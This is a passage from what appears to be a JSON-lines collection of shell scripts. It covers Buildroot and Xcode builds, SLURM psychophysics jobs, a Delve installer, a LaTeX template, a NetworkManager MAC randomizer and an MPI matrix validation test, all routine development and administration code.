$WORKING_DIRECTORY/backup-$TIMESTAMP.backup"} {"text": "0\n# ------------------------------------------------------------------------------\n# Setup Script\n# ------------------------------------------------------------------------------\nsource ./utils.sh\nsource ./setup.sh\n\n# ------------------------------------------------------------------------------\n# Parse Script Params\n# ------------------------------------------------------------------------------\n# Usage Print\nfunction usage() {\n echo\n echo \" Buildroot Build Script Usage\"\n echo \" build-br.sh --build_dir= --log_dir= --deploy_dir=\"\n echo \" build_dir : Location to build Buildroot {default=.}\"\n echo \" log_dir : Location to write log file {default=.}\"\n echo \" deploy_dir : Location to write output products {default=NONE}\"\n echo \" conf_dir : Location for Buildroot configuration {default=NONE}\"\n echo\n}\n\n# Start Scripts\ndisp \"Buildroot Build Script\" 2\n\n# Argument Defaults\nLOG_DIR=`pwd`\nBUILD_DIR=`pwd`\nDST_DIR=\"\"\nCONF_DIR=\"\"\n\n# Parse Command Line Inputs\nfor i in \"$@\" ; do\n case $i in\n\n --build_dir=*)\n BUILD_DIR=\"${i#*=}\"\n shift\n ;;\n\n --log_dir=*)\n LOG_DIR=\"${i#*=}\"\n shift\n ;;\n\n --deploy_dir=*)\n DD=\"${i#*=}\"\n shift\n ;;\n\n --conf_dir=*)\n CD=\"${i#*=}\"\n shift\n ;;\n\n *)\n echo \"Incorrect Command Line Argument .. ${i}\"\n exit 1\n ;;\n\n esac\ndone\n\n# Generate Paths\nLOG=${LOG_DIR}/buildroot.log\nBD=${BUILD_DIR}/buildroot\nRFS=${BD}/output/images/rootfs.cpio.uboot\nUIM=${BD}/output/images/uImage\n\n# Print U-BOOT Build Parameters\ndisp \"Log Dir : ${LOG_DIR}\" 3\ndisp \"Build Dir : ${BD}\" 3\ndisp \"Config Dir : ${CD}\" 3\ndisp \"Deploy Dir : ${DD}\" 3\n\n# ------------------------------------------------------------------------------\n# Create Version File\n# ------------------------------------------------------------------------------\n# Create Version File\nVER=${CD}/ovly/root/version\n\nif [ -f ${VER} ]; then\n rm ${VER}\n touch ${VER}\nelse\n touch ${VER}\nfi\n\n# Generate Short Hash\nHASH=`git rev-parse HEAD`\nHASH_SHORT=${HASH:0:8}\necho ${HASH_SHORT} >> ${VER}\n\n# Look for Git Changes\nif git diff-files --quiet ; then\n echo \"CLEAN\" >> ${VER}\nelse\n echo \"DIRTY\" >> ${VER}\nfi\n\n# Start Log\necho \"\" > ${LOG}\n\n# ------------------------------------------------------------------------------\n# Get Buildroot Repo\n# ------------------------------------------------------------------------------\n# Check if Repo Exists Already\nif [ ! -d ${BD} ]; then\n # Clone Git Repo\n git clone https://github.com/buildroot/buildroot.git ${BD} &>> ${LOG}\n cd ${BD}\n\n # Copy Configuration Files\n cp ${CD}/zynq_cora_defconfig ${BD}/configs/\n\n # Setup Build\n make zynq_cora_defconfig &>> ${LOG}\n\nelse\n cd ${BD}\n\nfi\n\n\n# ------------------------------------------------------------------------------\n# Build\n# ------------------------------------------------------------------------------\n# Build\nmake BR2_EXTERNAL_OVLY=${CD} &>> ${LOG}\n\n# ------------------------------------------------------------------------------\n# Check if Build Passed\n# ------------------------------------------------------------------------------\nBUILD_FAIL=0\nif [ -f ${RFS} ]; then\n # Copy File if Requested\n if [[ ${DD} != \"\" ]]; then\n if [ ! -d ${DD} ]; then\n mkdir ${DD}\n fi\n cp ${RFS} ${DD}\n fi\nelse\n echo \"No RFS\"\n BUILD_FAIL=1\nfi\n\nif [ -f ${UIM} ]; then\n # Copy File if Requested\n if [[ ${DD} != \"\" ]]; then\n if [ ! -d ${DD} ]; then\n mkdir ${DD}\n fi\n cp ${UIM} ${DD}\n fi\nelse\n echo \"No Kernel\"\n BUILD_FAIL=1\nfi\n\nif [ ${BUILD_FAIL} -eq 0 ]; then\n # Report Success\n disp \"Buildroot Build Success\" 3\n exit 0\n\nelse\n disp \"Buildroot Build Failed\" 3\n exit 1\n\nfi"} {"text": "src/00_src/tool/get_2_1.sh\n# 名前取得\n# https://b-name.jp\n# 空行とヘッダ行を削除する\ndata=\"$(cat /tmp/work/data.txt | sed '/^$/d' | sed -e '/名前\tよみ\t使用漢字\t字画数\t姓名判断/d')\"\n# 1行目から順に3行ごとに取得する\nmax_line=\"$(echo -e \"$data\" | wc -l)\"\nline=1\nresult=()\nwhile true; do\n\tresult+=\"$(echo -e \"$data\" | awk 'NR=='\"$line\"';')\"\"\\n\"\n\tline=$((line+3))\n\t[ $max_line -le $line ] && break\ndone\ntext=\"$(IFS=\"\\n\"; echo \"${result[*]}\")\"\necho -e \"$text\"\necho -e \"$text\" | xsel -bi"} {"text": "info () {\n printf \"\\r [ \\033[00;34m..\\033[0m ] $1\\n\"\n }\n\nsuccess () {\n printf \"\\r\\033[2K [ \\033[00;32mOK\\033[0m ] $1\\n\"\n }\n\nif [ \"$(uname -s)\" == \"Darwin\" ]\nthen\n if ! [ -d $GOPATH/src/github.com/go-delve/delve/ ]\n then\n # Ensure you have a proper compilation toolchain\n info 'Installing Delve'\n xcode-select --install\n go get -u github.com/go-delve/delve/cmd/dlv\n success 'Installed Delve'\n info 'Enable Developer Mode if you do not want to be asked for authorization every time'\n echo 'sudo /usr/sbin/DevToolsSecurity -enable'\n else\n info 'Delve is already installed'\n fi\nfi"} {"text": "entrypoint.sh\n#!/bin/bash\nDEBUG_STRING=\"\"\nif $DEBUG_MODE ; then\n DEBUG_STRING=\"-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6006\"\nfi\njava $DEBUG_STRING $JAVA_OPTS -jar /app/proxyLive.jar $@"} {"text": "src/templates/default.sh\n#!/bin/bash\n\ndoc_class=$1; shift\ntitle=$1; shift\nauthor=$1; shift\n\ntpl1='\\usepackage{natbib} % Required to change bibliography style to APA\n\\usepackage{graphicx} % Required for the inclusion of images\n\n% Maths --------------------------------\n\\usepackage[centertags]{amsmath}\n\\usepackage{amssymb,amsthm,amsfonts,bm} %bold maths\n\\newcommand{\\textoverline}[1]{$\\overline{\\mbox{#1}}$} % to use overbar outside math mode\n\\usepackage{mathtools} % Abs and more...\n% --------------------------------------\n\\usepackage[american]{babel}\n\\usepackage[utf8]{inputenc}\n\\usepackage{lmodern}\n\\usepackage{ae,aecompl} %Font improvements\n\\usepackage[pdftex]{hyperref}\n\\usepackage{tabularx,ragged2e,booktabs,caption}\n% --------------------------------------\n\\setlength{\\parindent}{1em} % Removes all indentation from paragraphs\n\\setlength{\\parskip}{1em}'\n\ntpl2='\\begin{document}\n\n\\maketitle\n\n\\end{document}\n'\n\ndoc_class_str=\"\\documentclass[]{${doc_class}}\"\ntitle_str=\"\\title{${title}}\"\nauthor_str=\"\\author{${author}}\"\n\nprintf '%s\\n\\n%s\\n\\n%s\\n%s\\n\\n%s\\n' \"$doc_class_str\" \"$tpl1\" \"$title_str\" \"$author_str\" \"$tpl2\""} {"text": "0\npython3 ./client.py&\npython3 log_gpu.py --file log_training.csv"} {"text": "assets_psychophysics/psychophysics_experiment_job.sh\n#!/bin/bash\n#\n#SBATCH --job-name=psychophysics\n#SBATCH --out=\"slurm-%A_%a.out\"\n#SBATCH --nodes=1\n#SBATCH --cpus-per-task=6\n#SBATCH --mem=36000\n#SBATCH --time=0-6:00:00\n#SBATCH --array=0-39\n##SBATCH --partition=mcdermott\n##SBATCH --partition=use-everything\n#SBATCH --exclude=node[001-030]\n#SBATCH --requeue\n#SBATCH --dependency=afterok:20033349\n\noffset=0\njob_idx=$(($SLURM_ARRAY_TASK_ID + $offset))\necho $(hostname)\n\nOUTDIR_REGEX='/om2/user/msaddler/tfauditoryutil/saved_models/PNDv08/*/arch_0???'\nEFN_PREFIX='EVAL_SOFTMAX_'\nPRIOR_RANGE='0.5'\n\n\nsingularity exec --nv \\\n-B /home \\\n-B /om \\\n-B /nobackup \\\n-B /om2/user/msaddler \\\n-B /om4 \\\n/om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\npython /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n-r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v01_bestckpt.json\" \\\n-p ${PRIOR_RANGE} \\\n-j ${job_idx}\n\n\nsingularity exec --nv \\\n-B /home \\\n-B /om \\\n-B /nobackup \\\n-B /om2/user/msaddler \\\n-B /om4 \\\n/om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\npython /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_transposed_tones.py \\\n-r \"${OUTDIR_REGEX}/${EFN_PREFIX}transposedtones_v01_bestckpt.json\" \\\n-p ${PRIOR_RANGE} \\\n-j ${job_idx}\n\n\nsingularity exec --nv \\\n-B /home \\\n-B /om \\\n-B /nobackup \\\n-B /om2/user/msaddler \\\n-B /om4 \\\n/om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\npython /om2/user/msaddler/pitchnet/assets_psychophysics/f0experiment_alt_phase.py \\\n-r \"${OUTDIR_REGEX}/${EFN_PREFIX}altphase_v01_bestckpt.json\" \\\n-p ${PRIOR_RANGE} \\\n-j ${job_idx}\n\n\nsingularity exec --nv \\\n-B /home \\\n-B /om \\\n-B /nobackup \\\n-B /om2/user/msaddler \\\n-B /om4 \\\n/om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\npython /om2/user/msaddler/pitchnet/assets_psychophysics/f0experiment_freq_shifted.py \\\n-r \"${OUTDIR_REGEX}/${EFN_PREFIX}freqshifted_v01_bestckpt.json\" \\\n-p ${PRIOR_RANGE} \\\n-j ${job_idx}\n\n\nsingularity exec --nv \\\n-B /home \\\n-B /om \\\n-B /nobackup \\\n-B /om2/user/msaddler \\\n-B /om4 \\\n/om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\npython /om2/user/msaddler/pitchnet/assets_psychophysics/f0experiment_mistuned_harmonics.py \\\n-r \"${OUTDIR_REGEX}/${EFN_PREFIX}mistunedharm_v01_bestckpt.json\" \\\n-p ${PRIOR_RANGE} \\\n-j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v01_thresh40_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v01_noise08_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v01_noise10_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v01_dbspl85_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_transposed_tones.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}transposedtones_v01_dbspl85_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0experiment_alt_phase.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}altphase_v01_dbspl85_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0experiment_freq_shifted.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}freqshifted_v01_dbspl85_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0experiment_mistuned_harmonics.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}mistunedharm_v01_dbspl85_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_generalized.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}testsnr_v01_bestckpt.json\" \\\n# -k 'snr_per_component' \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_generalized.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}testspl_v01_bestckpt.json\" \\\n# -k 'dbspl' \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_generalized.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}testsnr_v02_bestckpt.json\" \\\n# -k 'snr_per_component' \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_generalized.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}testspl_v03_bestckpt.json\" \\\n# -k 'dbspl' \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v02_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v03_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}lowharm_v04_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2/user/msaddler \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_transposed_tones.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}transposedtones_v02_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2 \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}bernox2006_TENlevel10dB_harmlevel20dBSPL_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2 \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}bernox2006_TENlevel40dB_harmlevel50dBSPL_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}\n\n\n# singularity exec --nv \\\n# -B /home \\\n# -B /om \\\n# -B /nobackup \\\n# -B /om2 \\\n# -B /om4 \\\n# /om2/user/msaddler/vagrant/tensorflow-1.13.1-pitchnet.simg \\\n# python /om2/user/msaddler/pitchnet/assets_psychophysics/f0dl_bernox.py \\\n# -r \"${OUTDIR_REGEX}/${EFN_PREFIX}bernox2006_TENlevel65dB_harmlevel75dBSPL_bestckpt.json\" \\\n# -p ${PRIOR_RANGE} \\\n# -j ${job_idx}"} {"text": "#!/usr/bin/env sh\n\nset -euo pipefail\n\nPLATFORM=$1\n\ncase $PLATFORM in\niOS) DESTINATION=\"platform=iOS Simulator,name=iPhone 11 Pro\";;\nmacOS) DESTINATION=\"platform=macOS,arch=x86_64\";;\nesac\n\nxcodebuild clean \\\n -workspace Jot.xcworkspace \\\n -scheme Jot-$PLATFORM\n\nxcodebuild build \\\n -workspace Jot.xcworkspace \\\n -scheme Jot-$PLATFORM \\\n -destination \"$DESTINATION\" \\\n > build.log\n\nsh Tools/Scripts/swiftlint.sh analyze \\\n --config .swiftlint_analyze.yml \\\n --compiler-log-path build.log \\\n --reporter emoji\n\nrm build.log"} {"text": "mac-randomizer.sh\n#!/bin/bash\n#\n# Persistent MAC Address randomizer for linux desktop\n#\n#\n#check for NetworkManager\nsudo systemctl is-active --quiet NetworkManager\nif [ \"$?\" -ne \"0\" ]; then\n echo \"[-] NetworkManager not active; ensure you are [-]\"\n echo \"[-] on a supported linux distribution and try again. [-]\"\n exit 1\nfi\n#\necho \"[+] Please select how you prefer to connect... [+]\"\n#\nwifisetting=\"random\" #default\n#\nread -t 60 -p 'Random MAC for each Wifi connection (1), or Random MAC that persists per SSID (2) ? ' wifisettingnum\nif [ $wifisettingnum != \"1\" ] && [ $wifisettingnum != \"2\" ]; then\n echo \"[-] Invalid input. Try again with a 1 or 2 selection. [-]\"\n exit 1\nelif [ $wifisettingnum == \"1\" ]; then\n wifisetting=\"random\"\nelif [ $wifisettingnum == \"2\" ]; then\n wifisetting=\"stable\"\nelse \n echo \"\"\nfi\n#\nethernetsetting=\"stable\" #default\n#\nread -t 60 -p 'Random MAC for each wired Ethernet connection (1), or Random MAC that persists per wired network (2) ? ' ethernetsettingnum\nif [ $ethernetsettingnum != \"1\" ] && [ $ethernetsettingnum != \"2\" ]; then\n echo \"[-] Invalid input. Try again with a 1 or 2 selection. [-]\"\n exit 1\nelif [ $ethernetsettingnum == \"1\" ]; then\n ethernetsetting=\"random\"\nelif [ $ethernetsettingnum == \"2\" ]; then\n ethernetsetting=\"stable\"\nelse \n echo \"\"\nfi\n#\n#build config file\necho \"\"\necho \"[+] Building config file... [+]\"\nsudo rm /tmp/00-macrandomize.conf >/dev/null 2>&1 #try delete in case script has been run before\ncat << 'EOF' > /tmp/00-macrandomize.conf\n[device]\nwifi.scan-rand-mac-address=yes\n\n[connection]\nwifi.cloned-mac-address=WIFISETTING\nethernet.cloned-mac-address=ETHSETTING\nconnection.stable-id=${CONNECTION}/${BOOT}\nEOF\n#\nsed -i \"s!WIFISETTING!${wifisetting}!\" /tmp/00-macrandomize.conf\nsed -i \"s!ETHSETTING!${ethernetsetting}!\" /tmp/00-macrandomize.conf\nsudo rm /etc/NetworkManager/conf.d/00-macrandomize.conf >/dev/null 2>&1 #try delete in case script has been run before\nsudo mv /tmp/00-macrandomize.conf /etc/NetworkManager/conf.d/00-macrandomize.conf\nsudo chown root:root /etc/NetworkManager/conf.d/00-macrandomize.conf\nls -hal /etc/NetworkManager/conf.d/00-macrandomize.conf\ncat /etc/NetworkManager/conf.d/00-macrandomize.conf\necho \"\"\n#\necho \"[+] Compare the output of the following ip commands [+]\"\necho \"[+] to ensure your MAC address has been randomized: [+]\"\necho \"\"\necho 'ip -f link address'\nip -f link address\necho \"\"\necho \"[+] Restarting NetworkManager service to apply changes... [+]\"\nsudo systemctl restart NetworkManager\nretVal=$?\nif [ $retVal -ne 0 ]; then\n echo \"[-] Error bringing NetworkManager service back up :( [-]\"\n exit $retVal\nfi\necho \"\"\nsleep 1s\necho 'ip -f link address'\nip -f link address\necho \"\"\necho \"Finished.\"\necho \"\""} {"text": "#!/usr/bin/env bash\n################################################################################\n# @file_name: readonly.module.sh\n# @version: 0.0.14\n# @project_name: iris\n# @brief: readonly module for iris\n#\n# @author: (mschf)\n# @author_contact: \n#\n# @license: BSD-3 Clause (Included in LICENSE)\n# Copyright (C) 2021-2022, \n# All rights reserved.\n################################################################################\n\n################################################################################\n# @description: generates readonly responses\n# @noargs\n################################################################################\n_readonly::post() {\n\tif [[ ! -w \"$(pwd)\" ]]; then\n\t\tif [[ ${_prompt_nerd_font:=\"true\"} == \"true\" ]]; then\n\t\t\t_prompt::generate \"${_prompt_wrapper:0:1}${_readonly_nerd_symbol}${_prompt_wrapper:1:1}|${_readonly_module_color}\"\n\t\telse\n\t\t\t_prompt::generate \"${_prompt_wrapper:0:1}${_readonly_module_symbol}${_prompt_wrapper:1:1}|${_readonly_module_color}\"\n\t\tfi\n\tfi\n}"} {"text": "switches=(kitchen dining christmas lounge lighstrip)"} {"text": "#! /bin/sh\n\n# Get the OOPMH-LIB root directory from a makefile\nOOMPH_ROOT_DIR=$(make -s --no-print-directory print-top_builddir)\n\n\n#Set the number of tests to be checked\nNUM_TESTS=1\n\n# Doc what we're using to run tests on variable processors\necho \" \" \necho \"Running mpi tests with mpi run command: \" $MPI_VARIABLENP_RUN_COMMAND\necho \"OOMPHNP = 1, 2, 3, 4\"\necho \" \" \n\n# Setup validation directory\n#---------------------------\ntouch Validation\nrm -r -f Validation\nmkdir Validation\n\ncd Validation\n\n\n# Validation for matrix addition test\n#-----------------------------------------\n\necho \"Running CRDoubleMatrix copy constructor test \"\n\n# one processor\nMPI_RUN_ON_NP_COMMAND=`echo $MPI_VARIABLENP_RUN_COMMAND | sed -e \"s/OOMPHNP/1/g\"`\n$MPI_RUN_ON_NP_COMMAND ../crdoublematrix_copy_constructor\n\n# two processors\nMPI_RUN_ON_NP_COMMAND=`echo $MPI_VARIABLENP_RUN_COMMAND | sed -e \"s/OOMPHNP/2/g\"`\n$MPI_RUN_ON_NP_COMMAND ../crdoublematrix_copy_constructor\n\n# three processors\nMPI_RUN_ON_NP_COMMAND=`echo $MPI_VARIABLENP_RUN_COMMAND | sed -e \"s/OOMPHNP/3/g\"`\n$MPI_RUN_ON_NP_COMMAND ../crdoublematrix_copy_constructor\n\n# four processors\nMPI_RUN_ON_NP_COMMAND=`echo $MPI_VARIABLENP_RUN_COMMAND | sed -e \"s/OOMPHNP/4/g\"`\n$MPI_RUN_ON_NP_COMMAND ../crdoublematrix_copy_constructor\n\n\necho \"done\"\necho \" \" >> validation.log\necho \"Distributed CRDoubleMatrix copy constructor test\" >> validation.log\necho \"------------------------------------\" >> validation.log\necho \" \" >> validation.log\necho \"Validation directory: \" >> validation.log\necho \" \" >> validation.log\necho \" \" `pwd` >> validation.log\necho \" \" >> validation.log\n\n# Cat all the outputs into one file.\ncat \\\nt1m1_NP1R0 \\\ncopy_of_t1m1_NP1R0 \\\nt1m1_NP2R0 \\\ncopy_of_t1m1_NP2R0 \\\nt1m1_NP2R1 \\\ncopy_of_t1m1_NP2R1 \\\nt1m1_NP3R0 \\\ncopy_of_t1m1_NP3R0 \\\nt1m1_NP3R1 \\\ncopy_of_t1m1_NP3R1 \\\nt1m1_NP3R2 \\\ncopy_of_t1m1_NP3R2 \\\nt1m1_NP4R0 \\\ncopy_of_t1m1_NP4R0 \\\nt1m1_NP4R1 \\\ncopy_of_t1m1_NP4R1 \\\nt1m1_NP4R2 \\\ncopy_of_t1m1_NP4R2 \\\nt1m1_NP4R3 \\\ncopy_of_t1m1_NP4R3 \\\nt2m1_NP1R0 \\\ncopy_of_t2m1_NP1R0 \\\nt2m1_NP2R0 \\\ncopy_of_t2m1_NP2R0 \\\nt2m1_NP2R1 \\\ncopy_of_t2m1_NP2R1 \\\nt2m1_NP3R0 \\\ncopy_of_t2m1_NP3R0 \\\nt2m1_NP3R1 \\\ncopy_of_t2m1_NP3R1 \\\nt2m1_NP3R2 \\\ncopy_of_t2m1_NP3R2 \\\nt2m1_NP4R0 \\\ncopy_of_t2m1_NP4R0 \\\nt2m1_NP4R1 \\\ncopy_of_t2m1_NP4R1 \\\nt2m1_NP4R2 \\\ncopy_of_t2m1_NP4R2 \\\nt2m1_NP4R3 \\\ncopy_of_t2m1_NP4R3 \\\nt3m1_NP1R0 \\\ncopy_of_t3m1_NP1R0 \\\nt3m1_NP2R0 \\\ncopy_of_t3m1_NP2R0 \\\nt3m1_NP2R1 \\\ncopy_of_t3m1_NP2R1 \\\nt3m1_NP3R0 \\\ncopy_of_t3m1_NP3R0 \\\nt3m1_NP3R1 \\\ncopy_of_t3m1_NP3R1 \\\nt3m1_NP3R2 \\\ncopy_of_t3m1_NP3R2 \\\nt3m1_NP4R0 \\\ncopy_of_t3m1_NP4R0 \\\nt3m1_NP4R1 \\\ncopy_of_t3m1_NP4R1 \\\nt3m1_NP4R2 \\\ncopy_of_t3m1_NP4R2 \\\nt3m1_NP4R3 \\\ncopy_of_t3m1_NP4R3 \\\n> crdoublematrix_copy_constructor.dat\n\n# Remove the individual outputs.\nrm -rf \\\nt1m1_NP1R0 \\\ncopy_of_t1m1_NP1R0 \\\nt1m1_NP2R0 \\\ncopy_of_t1m1_NP2R0 \\\nt1m1_NP2R1 \\\ncopy_of_t1m1_NP2R1 \\\nt1m1_NP3R0 \\\ncopy_of_t1m1_NP3R0 \\\nt1m1_NP3R1 \\\ncopy_of_t1m1_NP3R1 \\\nt1m1_NP3R2 \\\ncopy_of_t1m1_NP3R2 \\\nt1m1_NP4R0 \\\ncopy_of_t1m1_NP4R0 \\\nt1m1_NP4R1 \\\ncopy_of_t1m1_NP4R1 \\\nt1m1_NP4R2 \\\ncopy_of_t1m1_NP4R2 \\\nt1m1_NP4R3 \\\ncopy_of_t1m1_NP4R3 \\\nt2m1_NP1R0 \\\ncopy_of_t2m1_NP1R0 \\\nt2m1_NP2R0 \\\ncopy_of_t2m1_NP2R0 \\\nt2m1_NP2R1 \\\ncopy_of_t2m1_NP2R1 \\\nt2m1_NP3R0 \\\ncopy_of_t2m1_NP3R0 \\\nt2m1_NP3R1 \\\ncopy_of_t2m1_NP3R1 \\\nt2m1_NP3R2 \\\ncopy_of_t2m1_NP3R2 \\\nt2m1_NP4R0 \\\ncopy_of_t2m1_NP4R0 \\\nt2m1_NP4R1 \\\ncopy_of_t2m1_NP4R1 \\\nt2m1_NP4R2 \\\ncopy_of_t2m1_NP4R2 \\\nt2m1_NP4R3 \\\ncopy_of_t2m1_NP4R3 \\\nt3m1_NP1R0 \\\ncopy_of_t3m1_NP1R0 \\\nt3m1_NP2R0 \\\ncopy_of_t3m1_NP2R0 \\\nt3m1_NP2R1 \\\ncopy_of_t3m1_NP2R1 